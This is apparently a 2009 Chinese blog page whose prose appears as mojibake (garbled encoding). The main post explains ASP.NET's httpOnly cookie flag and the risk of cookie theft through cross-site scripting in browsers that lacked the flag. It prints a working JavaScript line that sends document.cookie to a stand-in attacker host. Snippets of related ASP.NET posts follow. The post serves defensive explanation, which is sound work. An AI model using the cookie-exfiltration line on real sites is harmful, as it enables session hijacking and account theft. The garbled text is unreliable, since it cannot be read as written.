Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Ò»¸öÒ»Ö±¶¼ÈÃÈ˺öÂÔµÄASP.NET°²È«ÎÊÌâ.


×Ô´ÓIE6 SP1Æð , Õâ¸öä¯ÀÀÆ÷¾ÍÖ§³ÖcookieµÄhttpOnlyÊôÐÔ.
Õâ¸öÊôÐÔ, ¸æËßä¯ÀÀÆ÷, ʹÓà window.document.cookie ²»ÔÊÐí·ÃÎʸÃcookie .
¶øÔÚASP.NET2.0ÖÐ , Õâ¸öÊôÐÔÒ²µÃµ½ÁËÖ§³Ö, ²¢ÇÒÔÚFormAuthenticationÖÐÖ¸¶¨¸ÃÊôÐÔ.
µ«ÊÇ,FireFoxµÈä¯ÀÀÆ÷, ²¢²»Ö§³Ö¸ÃÊôÐÔ. ÄÇôÕâ¸ö´øÀ´Ê²Ã´ºó¹û?
ÀýÈç , ¼ÙÈçÄãÓÃFireFoxµÇ¼²©¿ÍÔ°(www.cnblogs.com
), È»ºóµ½Ò»¸ö¶ñÒâµÄÓû§µÄÎÄÕÂÈ¥.
ÄãÖªµÀcnblogs.comÔÊÐíÓû§ËæÒâÔö¼ÓjavascriptµÄ.
ÄÇô¸ÃÓû§¾ÍÄܵõ½ÄãµÄcookie,È»ºóÓÃÒ»¸ö¼òµ¥µÄ·½·¨,°ÑÄãµÄcookie·¢Ë͵½ËûµÄÊý¾Ý¿âÈ¥:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
µ±È»,ASP.NET·¢Ë͸ø¿Í»§¶ËµÄÐÅÏ¢ÊǼÓÃܹýµÄ.
µ«ÊDZðÈË¿ÉÒÔÖ±½Óͨ¹ýαÔìCOOKIE,Ö±½ÓʹÓøÃcookie,ÒÔÄãµÄÉí·ÝµÇ¼²©¿ÍÔ°.
ËùÒÔ - ÓÃFireFoxµÇ¼²©¿ÍÔ°ÀàËƵÄÍøÕ¾, ÄãµÄÕÊ»§ÐÅÏ¢Ëæʱ»á±»µÁ.
µ«ÊÇÈç¹ûʹÓÃIE6SP1,IE7,¾Í²»»á´æÔÚ¸ÃÎÊÌâ.
ÒòΪËüÖ§³ÖhttpOnly,ËùÒÔʹÓÃdocument.cookie²¢²»ÄÜÈ¡µÃASP.NETµÄµÇ¼ÐÅÏ¢.


Ïà¹ØÎĵµ£º

ASP.NET ʾÀý AJAX Ó¦ÓóÌÐò


      ±¾½Ì³Ì´´½¨Ê¹Óà ASP.NET µÄ AJAX ¹¦ÄܵĻù±¾Ê¾ÀýÓ¦ÓóÌÐò¡£Äú¿ÉÒÔÁ˽⵽ÓÐ¹Ø ASP.NET µÄ AJAX ¹¦Äܵĸü¶àÐÅÏ¢£¬½«ÖªµÀÕâЩ¹¦ÄÜÖ¼ÔÚ½â¾öÄÄЩ¼¼ÊõÎÊÌ⣬ÒÔ¼°ÒÔϽéÉÜÐÔÎĵµ½«Éæ¼°ÄÄЩÖØÒªµÄ AJAX ×é¼þ£º
·ASP.NET AJAX Overview
·Ìí¼Ó AJAX ºÍ¿Í»§¶Ë¹¦ÄÜ
ÔÚ±¾½Ì³ÌÖУ¬Äú½« ......

Asp.Net ·¢ËÍ smptÓʼþ

using System.Web.Mail ;
private void Button1_Click(object sender, System.EventArgs e)
  {
 
   //ʵÀý»¯MailMessage¶ÔÏó
   System.Web.Mail.MailMessage mail=new System.Web.Mail.MailMessage();
 
   //¶¨ÒåÓʼþµÄ·¢Ë͵ØÖ· , ¿ÉÒÔËæ±ãÌîÒ»¸ö²»´æÔڵĵØÖ· ......

ASP.NET 2.0¼ÓÃÜWeb.config ÅäÖÃÎļþ

¿ÉÒÔʹÓÃÊܱ£»¤ÅäÖÃÀ´¼ÓÃÜ Web Ó¦ÓóÌÐòÅäÖÃÎļþ£¨Èç Web.config
Îļþ£©ÖеÄÃô¸ÐÐÅÏ¢£¨°üÀ¨Óû§ÃûºÍÃÜÂë¡¢Êý¾Ý¿âÁ¬½Ó×Ö·û´®ºÍ¼ÓÃÜÃÜÔ¿£©¡£¶ÔÅäÖÃÐÅÏ¢½øÐмÓÃܺ󣬼´Ê¹¹¥»÷Õß»ñÈ¡Á˶ÔÅäÖÃÎļþµÄ·ÃÎÊ£¬Ò²¿ÉÒÔʹ¹¥»÷ÕßÄÑÒÔ»ñ
È¡¶ÔÃô¸ÐÐÅÏ¢µÄ·ÃÎÊ£¬´Ó¶ø¸Ä½øÓ¦ÓóÌÐòµÄ°²È«ÐÔ¡£
Õë¶Ôasp.net 2.0µÄÓ¦ÓóÌÐòµÄÊý¾Ý¿âÁ´½Ó×Ö·û´®½ ......

asp.net session¶ªÊ§

·¢²¼ÖÐÓöµ½ÁËÁ½¸öÎÊÌâ
Ò»¡£session »á¶Ìʱ¼ä×Ô¶¯Ïûʧ
½â¾ö°ì·¨
1¡£ÔÚwww.google.comÖвésession ¶ªÊ§
2¡£ÔÚWindow·þÎñÖн«ASP.NET State Service Æô¶¯¡£
3¡£ÐÞ¸Äweb.config
 <system.web>
  add  <sessionState mode="StateServer" timeout="60"/>
¶þ¡£sql server ³¬¹ý×î´óÁ¬½Ó³ØÊý ......

asp.netÖÐCookiesµÄ²Ù×÷

¡¡¡¡ÓÉÓÚÓõÄÊÇVPSÖ÷»ú£¬²»ÖªµÀɶԭÒòSESSION×ÜÊǶªÊ§£¬ÎÞÄλ»Cookies¡£
¡¡¡¡²éÒ»ÏÂMSDN£¬ÔÚASP.NETÓÐÁ½¸öCOOKIES£¬Response.CookiesºÍRequest.Cookies£¬ÎÞÂÛÓÃÄĸö¶¼²»ÐУ¬Ìí¼Ó½øÈ¥ºó¾Í¶ÁÈ¡²»µ½
ºóÀ´·¢ÏÖͨ¹ýResponse.CookiesÌí¼Ó¡¢Request.Cookies¶ÁÈ¡²ÅÐС£ÏÂÃæÊÇÌí¼Ó¡¢¶ÁÈ¡¡¢É¾³ýµÄ´úÂ룺
//Ìí¼Ó
HttpCookie c = ne ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ